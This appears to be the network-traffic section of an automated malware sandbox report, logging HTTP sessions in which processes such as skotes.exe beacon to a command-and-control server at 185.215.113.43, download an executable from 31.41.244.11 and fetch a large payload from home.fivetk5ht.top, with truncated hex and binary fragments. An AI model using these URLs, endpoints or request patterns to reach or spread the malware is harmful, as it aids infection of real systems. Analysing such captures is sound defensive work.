"name": "svchost.exe", "pid": 9 [TRUNCATED]
Dec 20, 2024 21:13:40.270715952 CET	7416	OUT	Data Raw: 6a 5c 2f 69 66 48 68 50 5c 2f 6f 67 65 49 76 38 41 77 35 35 62 5c 2f 77 44 49 65 76 38 41 54 30 5c 2f 72 6e 5c 2f 69 6d 31 78 74 5c 2f 30 63 72 68 62 5c 2f 77 30 5a 74 5c 2f 38 6e 36 5c 2f 30 39 50 34 35 71 6a 6b 37 66 6a 5c 2f 53 76 30 76 5c 2f Data Ascii: j\/ifHhP\/ogeIv8Aw55b\/wDIev8AT0\/rn\/im1xt\/0crhb\/w0Zt\/8n6\/09P45qjk7fj\/Sv0v\/AGr\/ANgzxD8OPCniP49\/C3TJtS+EEPxc+O\/g3WNBszfX198MLD4f\/HX4h\/Dnwwbue9ub\/UtU8NXWieGtKifxDe3dxd2uqvJDrUn+lWl9efmpX9Q+FHi5wn4vcP8A9t8N150cThpQo5xkmMlTjmeT4qcXKEM
Dec 20, 2024 21:13:40.371932030 CET	9888	OUT	Data Raw: 4a 56 36 30 56 53 6c 47 4b 6c 7a 66 33 5c 2f 41 4d 4c 63 55 38 65 34 4c 69 6d 68 67 4f 4a 73 36 6e 78 42 68 61 75 44 34 6b 72 51 79 33 4c 63 6f 79 79 6e 69 73 52 54 79 62 48 66 32 66 68 73 62 68 6e 68 73 4a 67 36 74 57 47 4e 72 55 73 52 50 44 51 Data Ascii: JV60VSlGKlzf3\/AMLcU8e4LimhgOJs6nxBhauD4krQy3LcoyynisRTybHf2fhsbhnhsJg6tWGNrUsRPDQ9tFOlTk6ibcbftbY\/Bz41+GrDxX4W8I\/FH4Mv4C8S+Mfij4rGgeP\/ANn3xZ411RYvix478U\/EDxFoes6rpn7RPg3Rtd0+LVPF+q6bageE9NWTRUtbW+hu7hbm8uv5bP8AgoL+zNbfstfHe38H2eu6FrVt408H
Dec 20, 2024 21:13:40.371979952 CET	7416	OUT	Data Raw: 63 34 5c 2f 43 33 48 5c 2f 71 6d 71 62 5c 2f 77 34 46 5c 2f 59 36 5c 2f 77 43 69 6c 66 74 4c 5c 2f 77 44 68 59 5c 2f 43 33 5c 2f 77 43 63 31 58 75 35 7a 39 4b 4c 36 50 6e 45 43 55 63 32 5c 2f 74 76 47 51 65 43 7a 48 4b 36 39 4f 74 77 37 57 6c 44 Data Ascii: c4\/C3H\/qmqb\/w4F\/Y6\/wCilftL\/wDhY\/C3\/wCc1Xu5z9KL6PnECUc2\/tvGQeCzHK69Otw7WlDFZVnFGFHM8rxK9rzVMFi3SwuIqUVKK+tYHB10+ahFPtyX6Lv0g+H25ZT\/AGJg5rG5bmlCpS4ioqeEzXKK8q+WZnhv3TjTx2D9tiqFOs4yf1XGY3D25a7ZwP7aBz\/wSA\/YsB7+G\/2U1\/L9n3XW\/pX8+uw+3+
Dec 20, 2024 21:13:40.491986990 CET	4944	OUT	Data Raw: 55 71 6c 4f 4a 54 58 2b 36 66 77 5c 2f 6d 4b 64 58 50 61 78 72 39 76 6f 57 6d 66 44 4c 56 37 79 34 30 71 35 74 76 69 31 34 53 38 57 2b 4d 76 43 56 70 70 6c 5c 2f 63 33 4f 71 70 70 6e 67 37 34 6a 2b 4c 50 68 5a 71 4d 47 73 32 6c 7a 70 6c 6a 61 32 Data Ascii: UqlOJTX+6fw\/mKdXPaxr9voWmfDLV7y40q5tvi14S8W+MvCVppl\/c3Oqppng74j+LPhZqMGs2lzplja2l7c+KPBurfYY7C\/wBVgk097Se4uLa6eeyt9Mzz3KMmrZXh80zDD4KtneOllmU068nGWPx8MFi8xlhaFk+aqsDgcXieVtfu6E7NuyeeUcN57n2GzjGZPlmJx+F4fwNLMs5rUIxcMuwNbG4bLqWJxDlKNqc8bjMNh0
Dec 20, 2024 21:13:40.492033005 CET	9888	OUT	Data Raw: 30 71 4f 67 30 39 70 35 66 6a 5c 2f 77 43 4f 54 74 2b 50 39 4b 6a 71 78 55 47 78 5c 2f 62 38 76 5c 2f 73 71 44 6f 39 70 35 66 6a 5c 2f 41 4d 41 68 66 72 2b 48 39 54 55 4c 4c 75 5c 2f 6c 39 61 73 50 30 5c 2f 48 2b 68 70 75 48 39 5c 2f 7a 5c 2f 41 Data Ascii: 0qOg09p5fj\/wCOTt+P9KjqxUGx\/b8v\/sqDo9p5fj\/AMAhfr+H9TULLu\/l9asP0\/H+hpuH9\/z\/APr1t7\/938TQp7fL\/Q5\/lS1LJ0T6H+dRVR3e\/wD3fxIZe\/8Au\/40zhh7Gpn6fj\/Q1FQUV\/L2e+e\/9O1Rydvx\/pVp\/un8P5ioaz9n5\/h\/wToK9Rydvx\/pU7dF+n9BTKzOgjk7fj\/So6sVGzdh+J\
Dec 20, 2024 21:13:40.533797979 CET	27192	OUT	Data Raw: 57 77 76 4e 48 76 37 37 54 35 6f 62 6d 54 33 71 50 54 37 43 4b 57 53 61 4b 78 73 34 35 70 51 52 4c 4c 48 62 51 70 4c 4b 43 43 43 4a 4a 46 51 4f 34 49 4a 42 44 45 35 42 49 36 55 36 33 73 62 4b 30 4c 74 61 57 64 72 62 47 51 6c 70 44 62 32 38 55 4a Data Ascii: WwvNHv77T5obmT3qPT7CKWSaKxs45pQRLLHbQpLKCCCJJFQO4IJBDE5BI6U63sbK0LtaWdrbGQlpDb28UJkJ5Jcxopck8ktkmv1Dg36OHDvBuccN5zg82x+JxHDnE+f8AElH29Ohev\/a2T1uH8uyuc401JZfw\/klSllmWQu60cLg8Iq1arUjVqVvx3j\/6V3FPH+ScV5Hjsky3CYXing7hvhGqsNOrGOFhkufYTifMs2hBSjG
Dec 20, 2024 21:13:40.653470993 CET	8652	OUT	Data Raw: 76 68 7a 70 78 2b 4c 48 68 58 58 35 6f 66 74 46 39 71 47 6a 61 31 34 5a 46 6c 64 36 78 50 44 50 46 34 6d 61 61 34 31 62 55 5a 76 35 64 32 5a 6e 5a 6e 64 6d 5a 32 59 73 7a 4d 53 7a 4d 7a 48 4c 4d 7a 48 4a 4c 45 6b 6b 6b 6e 4a 50 4a 70 74 65 42 69 Data Ascii: vhzpx+LHhXX5oftF9qGja14ZFld6xPDPF4maa41bUZv5d2ZnZndmZ2YszMSzMzHLMzHJLEkkknJPJpteBivEfPMVjMTiJ4fK3hK9T2kcueApQpUuSFKjh39bwiwmYzqUMPQoYeNR4tKdGmqM4Oi\/ZH22S\/RO8OcmyDKMsoZnxks7yzBrC1eKo8SY3E43Ge3rYrG5ov7Ezt51wrh8Lmea5hj82qYeGRyqUMxxUsdQxMcfGOLP0
Dec 20, 2024 21:13:40.693711996 CET	1236	OUT	Data Raw: 6d 4d 6c 48 4c 36 6b 4f 50 4f 4d 4a 55 38 66 4b 56 4b 56 65 4d 63 46 4e 63 54 4f 4f 4b 6c 4b 6a 54 71 56 6b 71 44 71 4e 30 6f 53 71 4b 38 49 53 5a 36 6b 5c 2f 32 34 50 37 55 4f 6c 55 7a 43 6a 55 38 59 61 56 4f 72 6c 4d 58 4c 4e 61 55 5c 2f 42 66 Data Ascii: mMlHL6kOPOMJU8fKVKVeMcFNcTOOKlKjTqVkqDqN0oSqK8ISZ6k\/24P7UOlUzCjU8YaVOrlMXLNaU\/BfwhhUy2Ma1PDylmEJeHKlgoqvUhQbxCppVqsKXxyjF\/ljpv7H\/jaa7hS+uljti6+ayQLG2zIzh2nmCnHH+rb+h\/Qr4YfDzTvhx4cttFsUUMiDznX+JydzEnksS5ZmYklmLMxJJNemeX7\/AKf\/AF6PL9\/0\/w
Dec 20, 2024 21:13:40.813308954 CET	1236	OUT	Data Raw: 7a 32 63 73 79 79 33 4b 63 4e 66 2b 79 63 62 69 46 78 58 56 5c 2f 74 7a 44 34 57 72 54 77 45 70 77 77 4f 4a 6a 67 63 4a 69 71 2b 4c 72 34 33 39 5a 38 55 76 45 37 78 75 38 51 65 43 5c 2f 44 66 67 5c 2f 77 41 55 73 50 6e 2b 5a 59 44 77 7a 68 6e 53 Data Ascii: z2csyy3KcNf+ycbiFxXV\/tzD4WrTwEpwwOJjgcJiq+Lr439Z8UvE7xu8QeC\/Dfg\/wAUsPn+ZYDwzhnS4SzvP8nzSjn0sq4yjklKll+YZri4w\/tbA0pcJwjkWIxNOpjuX6\/hfr2Lw2HwtDBFFdjrXw0+K\/hvxT4P8DeIfg18bdC8a\/ENtYT4f+ENX+C\/xS03xP46bw9Yf2pr48G6DeeEodU8Uf2JpmNS1b+w7W\/Gnae
Dec 20, 2024 21:13:40.973916054 CET	1236	OUT	Data Raw: 50 69 48 55 62 48 52 5a 46 58 55 72 75 33 74 70 4a 72 43 79 31 62 56 72 76 57 4e 50 30 6a 77 37 34 72 31 6a 55 76 44 76 32 72 5c 2f 68 49 74 4c 30 6a 77 6c 34 6c 31 58 56 66 44 6f 73 64 53 6a 30 61 2b 50 69 44 54 4e 50 30 71 34 76 39 45 57 79 31 Data Ascii: PiHUbHRZFXUru3tpJrCy1bVrvWNP0jw74r1jUvDv2r\/hItL0jwl4l1XVfDosdSj0a+PiDTNP0q4v9EWy1eaLS7xtUt7RbXUZEsrgx3DCM\/lniZw1wJ4pcLV+FOIuJ4YHLJVcvzmriMnzrJsNjKdOhUjLCV3Vx2HzDDxwdeeIpRVSWGcavtaSp1U5x5v23wc4w8TfBXjXC8ccJcGVMyzinSzXh2hhc+4d4gxeX1MRiaLWOwio5
Dec 20, 2024 21:13:43.711412907 CET	183	IN	HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Fri, 20 Dec 2024 20:13:43 GMT Content-Type: text/html; charset=utf-8 Content-Length: 26 Connection: close Data Raw: 6f 4f 57 39 43 6a 48 61 50 6a 78 47 79 42 66 54 31 37 33 34 37 32 35 36 32 32 Data Ascii: oOW9CjHaPjxGyBfT1734725622

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.6	49937	185.215.113.43	80	5236	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 20, 2024 21:13:41.114680052 CET	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 31 38 38 32 33 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1018823001&unit=246122658369
Dec 20, 2024 21:13:42.449238062 CET	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 20 Dec 2024 20:13:42 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.6	49939	31.41.244.11	80	5236	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 20, 2024 21:13:42.571522951 CET	59	OUT	GET /files/karl/random.exe HTTP/1.1 Host: 31.41.244.11
Dec 20, 2024 21:13:43.919152021 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 20 Dec 2024 20:13:43 GMT Content-Type: application/octet-stream Content-Length: 22016 Last-Modified: Thu, 19 Dec 2024 14:25:14 GMT Connection: keep-alive ETag: "67642cca-5600" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 03 00 66 0f 37 94 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 4c 00 00 00 08 00 00 00 00 00 00 8e 6a 00 00 00 20 00 00 00 80 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 c0 00 00 00 02 00 00 00 00 00 00 03 00 60 85 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 3c 6a 00 00 4f 00 00 00 00 80 00 00 ac 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 a0 00 00 0c 00 00 00 a8 69 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PELf7"0Lj @ `<jOi8 H.textJ L `.rsrcN@@.relocT@BpjH(7208s/(} }!}\| (+\| (0P~,Brp(rp((rp(((o(08s2(}(})}'\|((+\|((0Hs/+~~ioX-rp(+0rp( o!+*0rp( o!+
Dec 20, 2024 21:13:43.919236898 CET	1236	IN	Data Raw: 00 06 2a 00 00 13 30 03 00 32 00 00 00 06 00 00 11 00 02 72 10 01 00 70 72 18 01 00 70 28 22 00 00 0a 6f 23 00 00 0a 0a 06 06 28 03 00 00 2b 28 04 00 00 2b 73 26 00 00 0a 28 27 00 00 0a 0b 2b 00 07 2a 00 00 1b 30 04 00 ad 00 00 00 07 00 00 11 00 Data Ascii: 02rprp("o#(+(+s&('+0s(rp( (+~%-&~s*%(+(+o-+@(.o/,%o0Xo1+o1(2-o3
Dec 20, 2024 21:13:43.919249058 CET	1236	IN	Data Raw: 2b 73 26 00 00 0a 6f 40 00 00 0a 00 00 12 02 28 32 00 00 0a 2d b2 de 0f 12 02 fe 16 04 00 00 1b 6f 33 00 00 0a 00 dc 07 13 04 2b 00 11 04 2a 00 00 01 10 00 00 02 00 49 00 52 9b 00 0f 00 00 00 00 13 30 04 00 b0 00 00 00 0f 00 00 11 73 28 00 00 06 Data Ascii: +s&o@(2-o3+IR0s(sM%rpoN&%rpoN&%rpoN&%rpoN&%rpoN&%rpoN&}rp( (+~%-&~%s%(+(+)sO(+
Dec 20, 2024 21:13:43.919524908 CET	1236	IN	Data Raw: 42 02 7b 12 00 00 04 03 6f 72 00 00 0a 16 fe 01 2a 22 02 28 6e 00 00 0a 00 2a 62 03 02 7b 13 00 00 04 03 6f 38 00 00 0a 6f 1e 00 00 0a 6f 36 00 00 0a 2a 22 02 28 6e 00 00 0a 00 2a 00 1b 30 07 00 fe 01 00 00 19 00 00 11 02 7b 14 00 00 04 0a 06 17 Data Ascii: B{or"(nb{o8oo6"(n0{6++6++ss},+.++M8{{otou(v-C%}}\|(+}{\|%}(x}
Dec 20, 2024 21:13:43.919534922 CET	896	IN	Data Raw: 00 1e 00 00 01 06 2a 22 02 28 6e 00 00 0a 00 2a 00 1b 30 04 00 44 06 00 00 1b 00 00 11 02 7b 27 00 00 04 0a 06 2c 02 2b 05 38 99 01 00 00 00 02 02 7b 29 00 00 04 28 06 00 00 06 7d 2a 00 00 04 72 27 07 00 70 02 7b 2a 00 00 04 8c 48 00 00 01 28 87 Data Ascii: "(n0D{',+8{)(}r'p{H((~(#(({)o8}+rUp{+H(({)(},rp{,H(({)(}-{--rp+rp(
Dec 20, 2024 21:13:43.919545889 CET	1236	IN	Data Raw: 00 04 28 0d 00 00 06 7d 36 00 00 04 72 bb 0a 00 70 28 19 00 00 0a 00 00 02 02 7b 36 00 00 04 6f 2d 00 00 0a 7d 3e 00 00 04 2b 26 02 02 7c 3e 00 00 04 28 2e 00 00 0a 7d 3f 00 00 04 00 02 7b 3f 00 00 04 28 19 00 00 0a 00 00 02 14 7d 3f 00 00 04 02 Data Ascii: (}6rp({6o-}>+&\|>(.}?{?(}?\|>(2-/\|>o3\|>{)(}7rp{7(({2o}8rCp{8H(({)(}9rp{9(
Dec 20, 2024 21:13:43.919552088 CET	1236	IN	Data Raw: 09 ee 0d 06 00 73 03 52 0b 06 00 05 0b eb 0a 0a 00 a1 0c bc 0d 06 00 89 0c 52 0b 06 00 82 06 52 0b 0a 00 9b 0e bc 0d 06 00 48 0d ee 0d 06 00 21 08 ee 0d 06 00 6c 03 52 0b 0a 00 a0 0a 4a 0e 0e 00 cd 02 b8 05 06 00 9a 07 ee 0d 06 00 bf 02 ee 0d 06 Data Ascii: sRRRH!lRJ-_BR~RRJvJiRRb/=dJ*
Dec 20, 2024 21:13:43.919994116 CET	1236	IN	Data Raw: 05 18 00 12 2b 00 00 00 00 83 00 20 01 8b 05 19 00 1a 2b 00 00 00 00 83 00 1c 02 92 05 1a 00 22 2b 00 00 00 00 83 00 64 01 8b 05 1b 00 2a 2b 00 00 00 00 83 00 63 00 8b 05 1c 00 37 2b 00 00 00 00 83 00 8b 00 8b 05 1d 00 3f 2b 00 00 00 00 83 00 f6 Data Ascii: + +"+d*+c7+?+F+S+ \+ j+!s+m!+"+"+#+# .&#".$,.
Dec 20, 2024 21:13:43.920011997 CET	1236	IN	Data Raw: 01 0b 06 8d 03 6c 00 54 0d a0 03 74 00 6f 06 7d 01 41 01 58 06 b2 03 74 00 fd 0e 63 01 51 01 af 0d c9 03 19 02 d3 05 d9 03 09 01 6f 06 7d 01 41 01 86 0c ea 03 41 01 07 0f 06 00 01 01 91 0e fd 03 01 01 11 07 03 04 21 02 92 07 54 00 29 02 46 10 07 Data Ascii: lTto}AXtcQo}AA!T)F9qyy/5<L\|(`!c tyy\|}44?....#.+.3.;.C.K
Dec 20, 2024 21:13:43.920022011 CET	1236	IN	Data Raw: 72 69 65 72 65 41 6e 61 67 72 61 6d 6d 65 3e 62 5f 5f 32 32 5f 31 00 3c 3e 39 5f 5f 31 36 5f 31 00 3c 45 72 6d 69 74 74 6c 65 4d 61 78 69 6d 61 6c 65 57 6f 72 74 4c c3 a4 6e 67 65 3e 62 5f 5f 31 36 5f 31 00 3c 68 57 6e 64 3e 35 5f 5f 31 00 3c 77 Data Ascii: riereAnagramme>b__22_1<>9__16_1<ErmittleMaximaleWortLnge>b__16_1<hWnd>5__1<wortAnzahl>5__1<httpClient>5__1<berprfeRechtschreibung>b__1<>u__1IEnumerable`1IOrderedEnumerable`1Task`1TaskAwaiter`1HashSet`1List`1_heruntergeladen
Dec 20, 2024 21:13:44.039017916 CET	1236	IN	Data Raw: 72 6d 69 74 74 6c 65 4d 61 78 69 6d 61 6c 65 57 6f 72 74 4c c3 a4 6e 67 65 00 45 72 6b 65 6e 6e 65 6e 53 70 72 61 63 68 65 00 49 45 6e 75 6d 65 72 61 62 6c 65 00 49 44 69 73 70 6f 73 61 62 6c 65 00 67 65 74 5f 4d 61 69 6e 57 69 6e 64 6f 77 48 61 Data Ascii: rmittleMaximaleWortLngeErkennenSpracheIEnumerableIDisposableget_MainWindowHandleIsInRoleWindowsBuiltInRoleConsoleset_FileNameGeneriereAnagrammeErsetzeDurchSynonymeReadLineWriteLineCombineIAsyncStateMachineSetStateMachinestate

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.6	49944	185.121.15.192	80	5872	C:\Users\user\AppData\Local\Temp\1018822001\5ec1855a88.exe

Timestamp	Bytes transferred	Direction	Data
Dec 20, 2024 21:13:44.068387985 CET	123	OUT	GET /zldPRFrmVFHTtKntGpOv1734579851?argument=oOW9CjHaPjxGyBfT1734725622 HTTP/1.1 Host: home.fivetk5ht.top Accept: /
Dec 20, 2024 21:13:45.621953964 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Fri, 20 Dec 2024 20:13:45 GMT Content-Type: application/octet-stream Content-Length: 10816560 Connection: close Content-Disposition: attachment; filename="2QEtacHyJXtAjIXfSS;" Last-Modified: Thu, 19 Dec 2024 03:44:11 GMT Cache-Control: no-cache ETag: "1734579851.9291923-10816560-2974095529" Data Raw: 43 6e b9 73 e8 06 85 00 03 9d f1 44 4f d4 2a 88 21 04 ac 53 e5 65 e5 f8 bf 81 f9 ed af 8a 19 34 29 2d 35 35 ca 51 a3 c6 fa 72 39 4f 87 29 e9 fc a1 e6 79 df 5d d5 8b 59 90 72 e5 93 74 eb 85 53 0c b4 6c d7 35 26 ab a6 90 a1 b5 eb b7 a9 23 82 8c 84 f4 2e 0b fa 65 06 8d 2c 5c a7 1c 0a 83 50 8c 81 98 49 8b 04 a8 21 03 99 5b 44 18 fd 80 55 2d 82 9d b6 fb 4b 63 52 18 b4 71 54 20 7c 94 c1 86 d9 34 33 36 df de 89 63 c9 3b 71 a7 da 02 0d 89 96 a9 5e 28 8f 6d 1e 31 4c e9 81 7e 48 1b 9a a2 24 0d 94 5b 49 09 5d f2 82 57 a7 e0 4c a1 54 ad 91 7f 16 85 ea 25 3a a7 9c cc 77 9c 59 2a 15 02 86 d0 49 18 ae 03 35 a0 fe b1 9d 8b a8 a9 50 c4 c7 36 19 a6 08 7b 5b c7 5a 05 b3 52 19 8e e9 76 61 c0 13 98 7a e4 12 b4 3e ed 2a 27 a6 ef a2 4a 7a be 30 0a 4a 3f 4b ef 76 8d 82 73 ac b5 71 5c b9 b2 6a 7d 15 a8 94 51 11 6d c2 8a ec a1 fb d0 35 3e 2c 4c 2d 2c 78 78 7a 54 c2 05 1c 5d 58 69 0f 5f ff 4a 6a 4f 17 c5 e1 bb 5c 45 3a 15 28 ac 5e 0d 95 d9 a0 8c ad 2d 74 9a 69 c1 ac 6e ea d3 6b f3 b7 70 0e 40 ed e0 34 15 4a 31 89 25 eb d8 df [TRUNCATED] Data Ascii: CnsDO!Se4)-55Qr9O)y]YrtSl5&#.e,\PI![DU-KcRqT \|436c;q^(m1L~H$[I]WLT%:wYI5P6{[ZRvaz>'Jz0J?Kvsq\j}Qm5>,L-,xxzT]Xi_JjO\E:(^-tinkp@4J1%Ef!wrvX{mB_b2N5U3\CeBWr\|s$9.Y,M@qbwPx.T N~L9iRYS,bzfr+6tisA?G1:8lrhS\|!8M`<.MpxvG1N9tR!rbV],c)a,rk?AD:2V&P/\@2Rfg?]Booydm_Kl&5KOC%Z6K.D0y6YYj2>E{sS'>u/`s$@s$Wq8I?QKhxTpgwaCWMAsE&W?oOn.d\vsdudNl E=d"5S=aDp!@wuMu$RCApM(UuEAA (y;
Dec 20, 2024 21:13:45.621973038 CET	1236	IN	Data Raw: 99 c8 66 50 7c a1 c2 73 ce f1 36 9e a8 73 6f 92 ea 31 94 ed 15 86 a3 ac cb 21 e0 d6 65 79 bb 0e db 86 1d e0 96 67 16 a2 a4 e0 91 1c 70 41 4d b7 c2 02 ef a3 99 60 b7 0c bd a2 33 d9 95 31 c6 7d 7c ce aa ca 32 28 37 73 37 5a 2d 14 f8 7e df 1e d5 8c Data Ascii: fP\|s6so1!eygpAM`31}\|2(7s7Z-~_ir1b5<\I5<+4~CjhlU\p<@GGb2OA@q>Q)NLajz]- 9QRN9r_12n@o0FZe3mv
Dec 20, 2024 21:13:45.621983051 CET	1236	IN	Data Raw: 0e c7 fc 3f c6 a8 39 42 05 0a 48 82 29 91 14 ff 39 a9 4f 86 0f 93 ab fb 5a 50 fa bc e1 cc e9 35 3b b0 47 03 72 41 36 60 bb 9c ce 72 bf 4d f6 18 90 15 d9 8e 4d ca d8 2f 7a 2b 8f 85 df fe e2 88 b6 33 28 d8 1e 8c d5 d2 ad 39 99 88 25 d6 78 5a ca 9b Data Ascii: ?9BH)9OZP5;GrA6`rMM/z+3(9%xZz;krqt,y2(hm^8&z]b)cc=EJfzIedI+*qGkdWl]9e!oo'cO:;B++F
Dec 20, 2024 21:13:45.622370005 CET	672	IN	Data Raw: d7 5f 18 12 44 06 ea 06 91 13 7c 6b 53 fc 20 a7 9c 5c 97 6a 74 a3 f6 f9 19 48 27 b6 e4 a2 45 ca 82 cb bd 28 87 50 68 b9 47 42 9e e6 f9 a1 d7 7e 99 f2 59 33 b0 fa 30 2f 93 e2 d8 ea d5 70 d6 ae 1e ec c9 66 0b 17 17 ec 76 db 8d 01 ff cc 5f dd 4b e3 Data Ascii: _D\|kS \jtH'E(PhGB~Y30/pfv_Ku9meW*r5d\ek;.W}BvM_bjZnQ4+ZA^[^3n`H%'NHdoS["]lM.I( xA:h
Dec 20, 2024 21:13:45.622389078 CET	1236	IN	Data Raw: 0c b8 26 2f d2 fc 51 cf 40 96 53 ca ee dd 9c f8 c2 91 fc 02 c1 75 de a1 b3 d5 43 f9 c5 a5 cc f9 7c b4 e7 a0 57 4e 28 6d 60 4c f7 73 31 c2 8a cf 87 2c b0 fb e1 b8 00 70 21 90 7c a1 3d 4e cb 49 96 fc 39 f3 d0 f4 35 11 a2 af c2 a2 ac 98 fa 0c 0e 06 Data Ascii: &/Q@SuC\|WN(m`Ls1,p!\|=NI95M9nzo{e,{`X1uo#@u8c.2e/&Rs^,Zt2xU^,DTrx[@'4&YvqL{<$%v7_!z:35j<p
Dec 20, 2024 21:13:45.622400999 CET	1236	IN	Data Raw: 8c d5 34 42 a3 48 8a d9 dc 44 80 64 b1 b7 88 3d f9 5f 5b bb ac 03 82 92 dd 95 04 a4 12 c3 b3 a6 7c 01 b4 c2 5d 37 1f 61 09 a2 74 f7 bb bc 8d b9 6d c3 ec 34 aa 4e 5d 6c e1 a1 97 28 99 f8 58 09 e0 72 a7 6c b1 6c bf 55 f4 13 d7 c0 94 e3 e5 90 c8 5a Data Ascii: 4BHDd=_[\|]7atm4N]l(XrllUZfy&)?=cF\|=xJ0KS%`Z"XQJu6m :nT:kZ?G^&_H)4;EF?bizu^@VsZ1LUG
Dec 20, 2024 21:13:45.622415066 CET	1236	IN	Data Raw: 58 d3 2e 25 eb 6e 7e 1f ef ff 4d a3 f0 e6 f5 66 66 ae 18 45 d0 0f 96 ec 97 f3 d3 ba ed 54 bf ff b1 4c 65 be 1c a9 d4 8a 31 39 11 f0 09 cd 94 d8 b0 d9 c3 2d ab d2 64 59 4d 3a b5 6a 90 c1 b0 bb 00 ec be 6c 87 bc d7 be 3c 12 18 9e 78 f7 65 66 37 b7 Data Ascii: X.%n~MffETLe19-dYM:jl<xef7AtNsDrNu0acnW,{Yl}95&qVt853#+NWPrUQOzO0o!D=<@8+)9a*};w\|O)p^:7$}qiZ!B8Vk
Dec 20, 2024 21:13:45.622425079 CET	1236	IN	Data Raw: 04 74 23 84 40 85 25 83 ef ec 18 36 bf 83 c7 fb 7e df e8 3d 8b 76 98 1a 4a 46 b6 06 3d cf 34 cf f0 d7 91 40 67 75 c6 3c 26 b8 a8 80 c1 64 53 07 b8 5b bd e4 0d dc b1 f6 43 be 08 fe ac 63 2f a5 34 0c e6 33 10 f5 3f 0c 0c 29 c9 27 6f fe 5e 20 6f 85 Data Ascii: t#@%6~=vJF=4@gu<&dS[Cc/43?)'o^ oSd,Mcz8_zOid3S`w:b^K4A=TnpC)b(Y^p:BBwEBJQ;tazv]S@yD"r:L w
Dec 20, 2024 21:13:45.622437000 CET	1236	IN	Data Raw: 4e 4c c9 29 1a 09 37 29 2e b6 32 f1 3b 82 4c 83 85 83 9d 0e 7c ed dd df 00 61 5f 68 56 80 3a bf 72 42 af 97 a3 77 8d 0f 34 cb 12 4e 7e 00 de 3e 84 ae 2a 48 10 80 de 71 77 70 5c bc 32 76 7a f9 a8 28 f6 95 a1 43 9e 85 d1 33 85 94 1c f6 f0 b2 5d e8 Data Ascii: NL)7).2;L\|a_hV:rBw4N~>Hqwp\2vz(C3]vw`$qu3PkKBg,DrN>&To58;`kr^v?^j(>ETD4Zq{5]e7HpWc:+;:wL&mi1/8StB
Dec 20, 2024 21:13:45.622806072 CET	1236	IN	Data Raw: af 7b e1 d6 57 c4 38 e2 90 97 98 2d c9 bc b7 48 90 b6 3b 93 28 f8 4e d4 4f 60 58 72 04 01 9d 5b 26 2a 12 4c b8 f3 a8 18 f8 2f ad 36 78 80 83 6c e5 b1 c4 6f 42 1a f8 3d de c7 bb 93 e0 a5 3a 2e 68 bd cf 9b 39 1f a7 a3 a8 e8 3a 46 a9 41 44 45 cd 00 Data Ascii: {W8-H;(NO`Xr[&*L/6xloB=:.h9:FADE+% ?cE\|)fc!1u\5B^TA_n#Fva/W^t@gQI}HQ~ol ?~.ZtK?f@GIM9A\N5OprI4^T
Dec 20, 2024 21:13:45.742146969 CET	1236	IN	Data Raw: 0d c8 f6 d3 98 b5 dd f4 42 c3 4a a9 ed f6 3f 0e fe f2 d7 c7 f8 35 ea 2b 4a a3 2f 0d 56 1c a8 7d f6 ee 62 e5 1b db 22 13 88 a8 d1 67 56 4c 18 0d 02 28 1b 64 51 b6 b7 66 fd cf fe 40 3b b4 e3 42 61 3b 5a 31 db 69 2c cb b0 49 18 39 cd 1c 29 63 51 d9 Data Ascii: BJ?5+J/V}b"gVL(dQf@;Ba;Z1i,I9)cQY@`;/9H+AX5EluUar=%7fkG.m1f`xw(b23:4THB=G&SzzEdmj^J4)]C)qU%">%t3dv

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.6	49951	185.215.113.43	80	5236	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 20, 2024 21:13:46.484878063 CET	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 31 38 38 32 34 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1018824001&unit=246122658369
